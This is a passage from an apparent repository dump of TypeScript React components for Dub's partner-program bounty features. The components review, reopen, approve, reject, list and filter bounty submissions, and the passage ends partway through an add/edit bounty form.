{submission.files!.map((file, idx) => (\n                        <a\n                          key={idx}\n                          className=\"border-border-subtle hover:border-border-default group relative flex size-14 items-center justify-center rounded-md border bg-white\"\n                          target=\"_blank\"\n                          href={file.url}\n                          rel=\"noopener noreferrer\"\n                        >\n                          <div className=\"relative size-full overflow-hidden rounded-md\">\n                            <img src={file.url} alt=\"object-cover\" />\n                          </div>\n                          <span className=\"sr-only\">\n                            {file.fileName || `File ${idx + 1}`}\n                          </span>\n                        </a>\n                      ))}\n                    </div>\n                  </div>\n                )}\n\n                {Boolean(submission.urls?.length) && !hasSocialContent && (\n                  <div>\n                    <h2 className=\"text-content-emphasis text-sm font-medium\">\n                      URLs\n                    </h2>\n                    <div className=\"mt-2 flex flex-col gap-2\">\n                      {submission.urls?.map((url, idx) => (\n                        <div\n                          className=\"relative\"\n                          key={`${submission.id}-${idx}-${url}`}\n                        >\n                          <div className=\"border-border-subtle block w-full rounded-lg border px-3 py-2 pl-10 pr-12\">\n                            <a\n                              href={url}\n                              target=\"_blank\"\n                              rel=\"noopener noreferrer\"\n                              className=\"block cursor-alias truncate text-sm font-normal text-neutral-800 decoration-dotted underline-offset-2 hover:underline\"\n                            >\n                              {url}\n                            </a>\n                          </div>\n                          <div className=\"absolute inset-y-0 left-0 flex items-center pl-2.5\">\n                            <div className=\"flex size-6 items-center justify-center rounded-full bg-neutral-100 text-xs font-medium text-neutral-600\">\n                              {idx + 1}\n                            </div>\n                          </div>\n                          <div className=\"absolute inset-y-0 right-0 flex items-center pr-2.5\">\n                            <CopyButton\n                              value={url}\n                              onCopy={() => {\n                                toast.success(\"URL copied to clipboard!\");\n                              }}\n                            />\n                          </div>\n                        </div>\n                      ))}\n                    </div>\n                  </div>\n                )}\n\n                {submission.description && (\n                  <div>\n                    <h2 className=\"text-content-emphasis text-sm font-medium\">\n                      How did you complete this bounty?\n                    </h2>\n                    <span className=\"mt-2 whitespace-pre-wrap text-sm font-normal text-neutral-600\">\n                      {submission.description}\n                    </span>\n                  </div>\n                )}\n              </div>\n            </div>\n          )}\n        </div>\n\n        <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n          <div className=\"flex items-center justify-between gap-2 p-5\">\n            {submission.status === \"approved\" ? (\n              <a\n                href={`/${workspaceSlug}/program/commissions?partnerId=${submission.partner.id}&type=custom`}\n                target=\"_blank\"\n                className=\"w-full\"\n              >\n                <Button variant=\"secondary\" text=\"View commissions\" />\n              </a>\n            ) : (\n              <div className=\"flex w-full flex-col gap-4\">\n                {!bounty?.rewardAmount && (\n                  <div>\n                    <label className=\"text-sm font-medium text-neutral-800\">\n                      Reward\n                    </label>\n                    <div className=\"mt-2\">\n                      <AmountInput\n                        required\n                        amountType=\"flat\"\n                        placeholder=\"0\"\n                        value={rewardAmount || \"\"}\n                        onChange={(e) => {\n                          const val = e.target.value;\n                          setRewardAmount(val === \"\" ? null : parseFloat(val));\n                        }}\n                      />\n                    </div>\n                  </div>\n                )}\n\n                <div className=\"flex w-full gap-4\">\n                  <Button\n                    type=\"button\"\n                    variant=\"danger\"\n                    text=\"Reject\"\n                    shortcut=\"R\"\n                    disabledTooltip={\n                      submission.status === \"draft\"\n                        ? \"Bounty submission is in progress.\"\n                        : submission.status === \"rejected\"\n                          ? \"Bounty submission already rejected.\"\n                          : undefined\n                    }\n                    disabled={submission.status === \"draft\"}\n                    onClick={() => setShowRejectModal(true)}\n                  />\n\n                  <Button\n                    type=\"button\"\n                    variant=\"primary\"\n                    text=\"Approve\"\n                    shortcut=\"A\"\n                    onClick={() =>\n                      openConfirmApproveBountySubmissionModal(\n                        submission,\n                        bounty ?? null,\n                        rewardAmount,\n                      )\n                    }\n                    disabledTooltip={\n                      submission.status === \"draft\"\n                        ? \"Bounty submission is in progress.\"\n                        : undefined\n                    }\n                    disabled={!isValidForm || submission.status === \"draft\"}\n                  />\n                </div>\n              </div>\n            )}\n          </div>\n        </div>\n      </div>\n\n      <RejectBountySubmissionModal />\n      {ConfirmApproveBountySubmissionModal}\n    </div>\n  );\n}\n\nexport function BountySubmissionDetailsSheet({\n  isOpen,\n  ...rest\n}: BountySubmissionDetailsSheetProps & {\n  isOpen: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => queryParams({ del: \"submissionId\", scroll: false })}\n    >\n      <BountySubmissionDetailsSheetContent {...rest} />\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/bounty-submission-row-menu.tsx",
    "content": "import { reopenBountySubmissionAction } from \"@/lib/actions/partners/reopen-bounty-submission\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountySubmissionProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { Button, Icon, Popover, useRouterStuff } from \"@dub/ui\";\nimport { ArrowsOppositeDirectionX, Dots, Eye } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function BountySubmissionRowMenu({\n  row,\n}: {\n  row: Row<BountySubmissionProps>;\n}) {\n  const { bountyId } = useParams<{ bountyId: string }>();\n  const [isOpen, setIsOpen] = useState(false);\n  const { queryParams } = useRouterStuff();\n  const { id: workspaceId } = useWorkspace();\n\n  const submission = row.original;\n\n  // Only show menu if there's a submission\n  if (!submission) {\n    return null;\n  }\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Reopen submission\",\n    description: (\n      <>\n        Are you sure you want to reopen this bounty submission? This will reset\n        the submission back to draft status.\n      </>\n    ),\n    confirmText: \"Reopen\",\n    onConfirm: async () => {\n      try {\n        await reopenBountySubmissionAction({\n          workspaceId: workspaceId!,\n          submissionId: submission.id,\n        });\n        await mutatePrefix(`/api/bounties/${bountyId}/submissions`);\n        toast.success(\"Bounty submission reopened successfully\");\n      } catch (error) {\n        toast.error(\n          error instanceof Error\n            ? error.message\n            : \"Failed to reopen bounty submission\",\n        );\n      }\n    },\n  });\n\n  return (\n    <>\n      {confirmModal}\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"pointer-events-auto\">\n            <Command.List className=\"flex w-screen flex-col gap-1 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[180px]\">\n              <Command.Group className=\"p-1.5\">\n                <MenuItem\n                  icon={Eye}\n                  label=\"Review submission\"\n                  onSelect={() => {\n                    queryParams({\n                      set: {\n                        submissionId: submission.id,\n                      },\n                      scroll: false,\n                    });\n                    setIsOpen(false);\n                  }}\n                />\n\n                {[\"submitted\", \"rejected\"].includes(submission.status) && (\n                  <MenuItem\n                    icon={ArrowsOppositeDirectionX}\n                    label=\"Reopen submission\"\n                    onSelect={() => {\n                      setShowConfirmModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n                )}\n              </Command.Group>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  disabled,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  disabled?: boolean;\n}) {\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm text-neutral-600\",\n        \"data-[selected=true]:bg-neutral-100\",\n        disabled && \"cursor-not-allowed opacity-50\",\n      )}\n      onSelect={onSelect}\n      disabled={disabled}\n    >\n      <IconComp className=\"size-4 shrink-0 text-neutral-500\" />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/bounty-submissions-table.tsx",
    "content": "\"use client\";\n\nimport { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES } from \"@/lib/bounty/api/performance-bounty-scope-attributes\";\nimport { BOUNTY_SUBMISSION_STATUS_BADGES } from \"@/lib/bounty/submission-status\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useBounty from \"@/lib/swr/use-bounty\";\nimport {\n  SubmissionsCountByStatus,\n  useBountySubmissionsCount,\n} from \"@/lib/swr/use-bounty-submissions-count\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountySubmissionProps } from \"@/lib/types\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { UserRowItem } from \"@/ui/users/user-row-item\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Filter,\n  ProgressCircle,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { MoneyBill2, User } from \"@dub/ui/icons\";\nimport {\n  capitalize,\n  currencyFormatter,\n  fetcher,\n  formatDate,\n  nFormatter,\n  timeAgo,\n} from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { useParams } from \"next/navigation\";\nimport { useCallback, useEffect, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { BountySubmissionDetailsSheet } from \"./bounty-submission-details-sheet\";\nimport { BountySubmissionRowMenu } from \"./bounty-submission-row-menu\";\nimport { useBountySubmissionFilters } from \"./use-bounty-submission-filters\";\n\nexport function BountySubmissionsTable() {\n  const { bounty, loading: isBountyLoading } = useBounty();\n  const { groups } = useGroups();\n  const { id: workspaceId } = useWorkspace();\n  const { bountyId } = useParams<{ bountyId: string }>();\n  const { pagination, setPagination } = usePagination();\n  const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n  // Decide the columns to show based on the bounty type\n  const showColumns = useMemo(() => {\n    const columns = [\"partner\", \"group\", \"status\", \"completedAt\", \"reviewedAt\"];\n\n    if (!bounty) {\n      return columns;\n    }\n\n    if (bounty.type === \"performance\") {\n      columns.push(\"performanceMetrics\");\n    }\n\n    if (\n      bounty.type === \"submission\" &&\n      bounty.submissionRequirements?.socialMetrics\n    ) {\n      columns.push(\"socialMetrics\");\n    }\n\n    return columns;\n  }, [bounty]);\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const performanceCondition = bounty?.performanceCondition;\n\n  const metricColumnLabel = performanceCondition?.attribute\n    ? PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[performanceCondition.attribute]\n    : \"Progress\";\n\n  const sortBy = useMemo(() => {\n    if (searchParams.get(\"sortBy\")) return searchParams.get(\"sortBy\") as string;\n\n    if (bounty?.type === \"performance\") return \"performanceCount\";\n\n    if (\n      bounty?.type === \"submission\" &&\n      bounty?.submissionRequirements?.socialMetrics\n    ) {\n      return \"socialMetricCount\";\n    }\n\n    return \"completedAt\";\n  }, [searchParams, bounty]);\n\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const { submissionsCount } =\n    useBountySubmissionsCount<SubmissionsCountByStatus[]>();\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    setSearch,\n    setSelectedFilter,\n  } = useBountySubmissionFilters({ bounty });\n\n  const {\n    error,\n    isLoading,\n    data: submissions,\n  } = useSWR<BountySubmissionProps[]>(\n    workspaceId && bountyId\n      ? `/api/bounties/${bountyId}/submissions${getQueryString(\n          {\n            workspaceId,\n            sortBy,\n            sortOrder,\n          },\n          { exclude: [\"submissionId\"] },\n        )}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n      dedupingInterval: 30000,\n    },\n  );\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    | { open: false; submission: BountySubmissionProps | null }\n    | { open: true; submission: BountySubmissionProps }\n  >({ open: false, submission: null });\n\n  const { isSubmitting: isRefreshingStats, makeRequest } = useApiMutation();\n\n  const refreshStats = useCallback(() => {\n    if (!bountyId) return;\n\n    makeRequest(`/api/bounties/${bountyId}/sync-social-metrics`, {\n      method: \"POST\",\n      body: {},\n      onSuccess: async () => {\n        toast.success(\"Stats sync in progress. Updates will appear shortly.\");\n        await mutatePrefix(`/api/bounties/${bountyId}`);\n      },\n      onError: (error) => {\n        toast.error(error);\n      },\n    });\n  }, [bountyId, makeRequest]);\n\n  // Open the details sheet if submissionId is set in params\n  useEffect(() => {\n    const submissionId = searchParams.get(\"submissionId\");\n\n    if (!submissionId) {\n      setDetailsSheetState({ open: false, submission: null });\n    }\n\n    const submission = submissions?.find((s) => s.id === submissionId);\n\n    if (submission) {\n      setDetailsSheetState({ open: true, submission });\n    }\n  }, [searchParams, submissions]);\n\n  // Navigation functions for the details sheet\n  const [previousSubmissionId, nextSubmissionId] = useMemo(() => {\n    if (!submissions || !detailsSheetState.submission) return [null, null];\n\n    const currentIndex = submissions.findIndex(\n      (s) => s.id === detailsSheetState.submission!.id,\n    );\n\n    // if the current submission is not found, return the current details sheet submission id\n    // and the first submission id as the previous and next submission ids\n    if (currentIndex === -1) return [null, submissions[0]?.id ?? null];\n\n    return [\n      currentIndex > 0 ? submissions[currentIndex - 1].id : null,\n      currentIndex < submissions.length - 1\n        ? submissions[currentIndex + 1].id\n        : null,\n    ];\n  }, [submissions, detailsSheetState.submission]);\n\n  const onNext = nextSubmissionId\n    ? () => queryParams({ set: { submissionId: nextSubmissionId } })\n    : undefined;\n  const onPrevious = previousSubmissionId\n    ? () => queryParams({ set: { submissionId: previousSubmissionId } })\n    : undefined;\n\n  const columns = useMemo(\n    () => [\n      {\n        id: \"partner\",\n        header: \"Partner\",\n        minSize: 250,\n        cell: ({ row }) => {\n          return <PartnerRowItem partner={row.original.partner} />;\n        },\n      },\n      {\n        id: \"group\",\n        header: \"Group\",\n        cell: ({ row }) => {\n          if (!groups) return \"-\";\n\n          const group = groups.find(\n            (g) => g.id === row.original.partner.groupId,\n          );\n\n          if (!group) return \"-\";\n\n          return (\n            <div className=\"flex items-center gap-2\">\n              <GroupColorCircle group={group} />\n              <span className=\"truncate text-sm font-medium\">{group.name}</span>\n            </div>\n          );\n        },\n      },\n\n      ...(showColumns.includes(\"status\")\n        ? [\n            {\n              id: \"status\",\n              header: \"Status\",\n              cell: ({ row }) => {\n                const badge = row.original\n                  ? BOUNTY_SUBMISSION_STATUS_BADGES[row.original.status]\n                  : null;\n\n                return badge ? (\n                  <StatusBadge icon={null} variant={badge.variant}>\n                    {badge.label}\n                  </StatusBadge>\n                ) : (\n                  \"-\"\n                );\n              },\n            },\n          ]\n        : []),\n\n      ...(showColumns.includes(\"completedAt\")\n        ? [\n            {\n              id: \"completedAt\",\n              header:\n                bounty?.type === \"performance\" ? \"Completed\" : \"Submitted\",\n              cell: ({ row }) => {\n                if (!row.original.completedAt) return \"-\";\n\n                return (\n                  <TimestampTooltip\n                    timestamp={row.original.completedAt}\n                    side=\"left\"\n                    delayDuration={150}\n                  >\n                    <span>\n                      {formatDate(row.original.completedAt, { month: \"short\" })}\n                    </span>\n                  </TimestampTooltip>\n                );\n              },\n            },\n          ]\n        : []),\n\n      ...(showColumns.includes(\"performanceMetrics\")\n        ? [\n            {\n              id: \"performanceCount\",\n              header: capitalize(metricColumnLabel)!,\n              cell: ({ row }: { row: Row<BountySubmissionProps> }) => {\n                if (!performanceCondition) {\n                  return \"-\";\n                }\n\n                const value = row.original.performanceCount ?? 0;\n                const attribute = performanceCondition.attribute;\n                const target = performanceCondition.value;\n\n                const formattedValue = isCurrencyAttribute(attribute)\n                  ? currencyFormatter(value, {\n                      trailingZeroDisplay: \"stripIfInteger\",\n                    })\n                  : nFormatter(value, { full: true });\n\n                const formattedTarget = isCurrencyAttribute(attribute)\n                  ? currencyFormatter(target, {\n                      trailingZeroDisplay: \"stripIfInteger\",\n                    })\n                  : nFormatter(target, { full: true });\n\n                return (\n                  <div className=\"flex items-center gap-2\">\n                    <ProgressCircle progress={value / target} />\n                    <span className=\"min-w-0 text-sm font-medium leading-5 text-neutral-600\">\n                      {formattedValue} / {formattedTarget}\n                    </span>\n                  </div>\n                );\n              },\n            },\n          ]\n        : []),\n\n      ...(showColumns.includes(\"socialMetrics\") &&\n      bountyInfo?.socialPlatform &&\n      bountyInfo?.socialMetrics\n        ? [\n            {\n              id: \"socialMetricCount\",\n              header: `${bountyInfo.socialPlatform.label} ${capitalize(bountyInfo.socialMetrics.metric)}`,\n              cell: ({ row }: { row: Row<BountySubmissionProps> }) => {\n                const value = row.original.socialMetricCount ?? 0;\n                const minCount = bountyInfo.socialMetrics?.minCount ?? 0;\n                const target = Math.max(minCount, 1);\n                const progress = Math.min(1, value / target);\n\n                return (\n                  <div className=\"flex items-center gap-2\">\n                    <ProgressCircle progress={progress} />\n                    <span className=\"min-w-0 text-sm font-medium leading-5 text-neutral-600\">\n                      {nFormatter(value, { full: true })}\n                    </span>\n                  </div>\n                );\n              },\n            },\n          ]\n        : []),\n\n      ...(showColumns.includes(\"reviewedAt\")\n        ? [\n            {\n              id: \"reviewedAt\",\n              header: \"Reviewed\",\n              cell: ({ row }) => {\n                return row.original.reviewedAt ? (\n                  <UserRowItem\n                    user={row.original.user!}\n                    date={row.original.reviewedAt}\n                    label={\n                      row.original.status === \"approved\"\n                        ? \"Approved at\"\n                        : \"Rejected at\"\n                    }\n                  />\n                ) : (\n                  \"-\"\n                );\n              },\n            },\n          ]\n        : []),\n\n      // Menu\n      {\n        id: \"menu\",\n        enableHiding: false,\n        cell: ({ row }) => <BountySubmissionRowMenu row={row} />,\n      },\n    ],\n    [\n      groups,\n      bounty,\n      showColumns,\n      metricColumnLabel,\n      performanceCondition,\n      bountyInfo,\n      workspaceId,\n    ],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: submissions || [],\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row) => {\n      if (!row.original.id) {\n        return;\n      }\n\n      queryParams({\n        set: {\n          submissionId: row.original.id,\n        },\n        scroll: false,\n      });\n    },\n    sortableColumns: [\n      \"completedAt\",\n      ...(bounty?.type === \"performance\" ? [\"performanceCount\"] : []),\n      ...(showColumns.includes(\"socialMetrics\") ? [\"socialMetricCount\"] : []),\n    ],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    pagination,\n    onPaginationChange: setPagination,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `submission${p ? \"s\" : \"\"}`,\n    // if status is not set, we count draft, submitted and approved submissions\n    // else, we count the submissions for the status\n    rowCount: searchParams.get(\"status\")\n      ? submissionsCount?.find((s) => s.status === searchParams.get(\"status\"))\n          ?.count || 0\n      : submissionsCount\n          ?.filter((s) => [\"draft\", \"submitted\", \"approved\"].includes(s.status))\n          .reduce((acc, curr) => acc + curr.count, 0) || 0,\n    loading: isLoading || isBountyLoading,\n    error: error ? \"Failed to load bounty submissions\" : undefined,\n  });\n\n  return (\n    <>\n      {detailsSheetState.submission && (\n        <BountySubmissionDetailsSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          submission={detailsSheetState.submission}\n          onNext={onNext}\n          onPrevious={onPrevious}\n        />\n      )}\n\n      <div className=\"flex flex-col gap-6\">\n        <div>\n          <div className=\"flex w-full items-center justify-between gap-4\">\n            <Filter.Select\n              className=\"w-full md:w-fit\"\n              filters={filters}\n              activeFilters={activeFilters}\n              onSelect={onSelect}\n              onRemove={onRemove}\n              onSearchChange={setSearch}\n              onSelectedFilterChange={setSelectedFilter}\n            />\n            {bountyInfo?.hasSocialMetrics && (submissions?.length ?? 0) > 0 && (\n              <div className=\"flex shrink-0 items-center gap-3\">\n                {bounty?.socialMetricsLastSyncedAt ? (\n                  <span className=\"whitespace-nowrap text-xs font-medium text-neutral-500\">\n                    Last sync{\" \"}\n                    {timeAgo(bounty.socialMetricsLastSyncedAt, {\n                      withAgo: true,\n                    })}\n                  </span>\n                ) : null}\n                <Button\n                  variant=\"secondary\"\n                  text=\"Refresh stats\"\n                  loading={isRefreshingStats}\n                  onClick={refreshStats}\n                  className=\"h-8 rounded-lg px-3\"\n                />\n              </div>\n            )}\n          </div>\n          <AnimatedSizeContainer height>\n            <div>\n              {activeFilters.length > 0 && (\n                <div className=\"pt-3\">\n                  <Filter.List\n                    filters={[\n                      ...filters,\n                      {\n                        key: \"payoutId\",\n                        icon: MoneyBill2,\n                        label: \"Payout\",\n                        options: [],\n                      },\n                    ]}\n                    activeFilters={activeFilters}\n                    onSelect={onSelect}\n                    onRemove={onRemove}\n                    onRemoveAll={onRemoveAll}\n                  />\n                </div>\n              )}\n            </div>\n          </AnimatedSizeContainer>\n        </div>\n        {submissions?.length !== 0 || isLoading ? (\n          <Table {...tableProps} table={table} />\n        ) : (\n          <AnimatedEmptyState\n            title=\"No submissions found\"\n            description=\"No submissions have been made for this bounty yet.\"\n            cardContent={() => (\n              <>\n                <User className=\"size-4 text-neutral-700\" />\n                <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              </>\n            )}\n          />\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { BountyHeaderTitle } from \"./bounty-header\";\nimport { BountyInfo } from \"./bounty-info\";\nimport { BountySubmissionsTable } from \"./bounty-submissions-table\";\n\nexport default function Page() {\n  return (\n    <PageContent title={<BountyHeaderTitle />}>\n      <PageWidthWrapper>\n        <div className=\"flex flex-col gap-6\">\n          <BountyInfo />\n          <BountySubmissionsTable />\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/use-bounty-submission-filters.tsx",
    "content": "import { BOUNTY_SUBMISSION_STATUS_BADGES } from \"@/lib/bounty/submission-status\";\nimport {\n  SubmissionsCountByStatus,\n  useBountySubmissionsCount,\n} from \"@/lib/swr/use-bounty-submissions-count\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport usePartners from \"@/lib/swr/use-partners\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyProps, EnrolledPartnerProps } from \"@/lib/types\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { CircleDotted, useRouterStuff } from \"@dub/ui\";\nimport { Users, Users6 } from \"@dub/ui/icons\";\nimport { cn, nFormatter, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\n\nexport function useBountySubmissionFilters({\n  bounty,\n}: {\n  bounty?: BountyProps;\n}) {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const { slug } = useWorkspace();\n  const { groups } = useGroups();\n\n  const { submissionsCount } =\n    useBountySubmissionsCount<SubmissionsCountByStatus[]>();\n\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { partners } = usePartnerFilterOptions(\n    selectedFilter === \"partnerId\" ? debouncedSearch : \"\",\n  );\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"partnerId\",\n        icon: Users,\n        label: \"Partner\",\n        shouldFilter: false,\n        options:\n          partners?.map(({ id, name, image }) => {\n            return {\n              value: id,\n              label: name,\n              icon: (\n                <img\n                  src={image || `${OG_AVATAR_URL}${id}`}\n                  alt={`${name} image`}\n                  className=\"size-4 rounded-full\"\n                />\n              ),\n            };\n          }) ?? null,\n      },\n      {\n        key: \"groupId\",\n        icon: Users6,\n        label: \"Group\",\n        options:\n          groups // only show groups that are associated with the bounty\n            ?.filter((group) =>\n              bounty?.groups && bounty?.groups.length > 0\n                ? bounty?.groups.map((g) => g.id).includes(group.id)\n                : true,\n            )\n            .map((group) => {\n              return {\n                value: group.id,\n                label: group.name,\n                icon: <GroupColorCircle group={group} />,\n                permalink: `/${slug}/program/groups/${group.slug}/rewards`,\n              };\n            }) ?? null,\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: submissionsCount\n          ? submissionsCount.map(({ status, count }) => {\n              const {\n                label,\n                icon: Icon,\n                iconClassName,\n              } = BOUNTY_SUBMISSION_STATUS_BADGES[status];\n              return {\n                value: status,\n                label,\n                icon: (\n                  <Icon\n                    className={cn(\"size-4 bg-transparent\", iconClassName)}\n                  />\n                ),\n                right: nFormatter(count, {\n                  full: true,\n                }),\n              };\n            })\n          : null,\n      },\n    ],\n    [groups, bounty, submissionsCount, slug, partners],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { status, groupId, partnerId } = searchParamsObj;\n\n    return [\n      ...(status ? [{ key: \"status\", value: status }] : []),\n      ...(groupId ? [{ key: \"groupId\", value: groupId }] : []),\n      ...(partnerId ? [{ key: \"partnerId\", value: partnerId }] : []),\n    ];\n  }, [\n    searchParamsObj.status,\n    searchParamsObj.groupId,\n    searchParamsObj.partnerId,\n  ]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"status\", \"groupId\", \"partnerId\"],\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = useMemo(\n    () => activeFilters.length > 0 || searchParamsObj.search,\n    [activeFilters, searchParamsObj.search],\n  );\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction usePartnerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { partners, loading: partnersLoading } = usePartners({\n    query: { search },\n  });\n\n  const { partners: selectedPartners } = usePartners({\n    query: {\n      partnerIds: searchParamsObj.partnerId\n        ? [searchParamsObj.partnerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return partnersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.partnerId &&\n        ![...(selectedPartners ?? []), ...(partners ?? [])].some(\n          (p) => p.id === searchParamsObj.partnerId,\n        ))\n      ? null\n      : ([\n          ...(partners ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedPartners\n            ?.filter((st) => !partners?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (EnrolledPartnerProps & { hideDuringSearch?: boolean })[]);\n  }, [partnersLoading, partners, selectedPartners, searchParamsObj.partnerId]);\n\n  return { partners: result };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/add-edit-bounty-sheet.tsx",
    "content": "import {\n  BOUNTY_DESCRIPTION_MAX_LENGTH,\n  SUBMISSION_FREQUENCY_OPTIONS,\n} from \"@/lib/bounty/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyProps, CreateBountyInput } from \"@/lib/types\";\nimport { GroupsMultiSelect } from \"@/ui/partners/groups/groups-multi-select\";\nimport {\n  ProgramSheetAccordion,\n  ProgramSheetAccordionContent,\n  ProgramSheetAccordionItem,\n  ProgramSheetAccordionTrigger,\n} from \"@/ui/partners/program-sheet-accordion\";\nimport { RewardIconSquare } from \"@/ui/partners/rewards/reward-icon-square\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverInput,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { MaxCharactersCounter } from \"@/ui/shared/max-characters-counter\";\nimport { BountySubmissionFrequency } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  CalendarIcon,\n  CardSelector,\n  CardSelectorOption,\n  Combobox,\n  ComboboxOption,\n  Label,\n  NumberStepper,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  Sheet,\n  SmartDateTimePicker,\n  Switch,\n  Tooltip,\n  TooltipContent,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { Controller, FormProvider } from \"react-hook-form\";\nimport { BountyCriteria } from \"./bounty-criteria\";\nimport { useAddEditBountyForm } 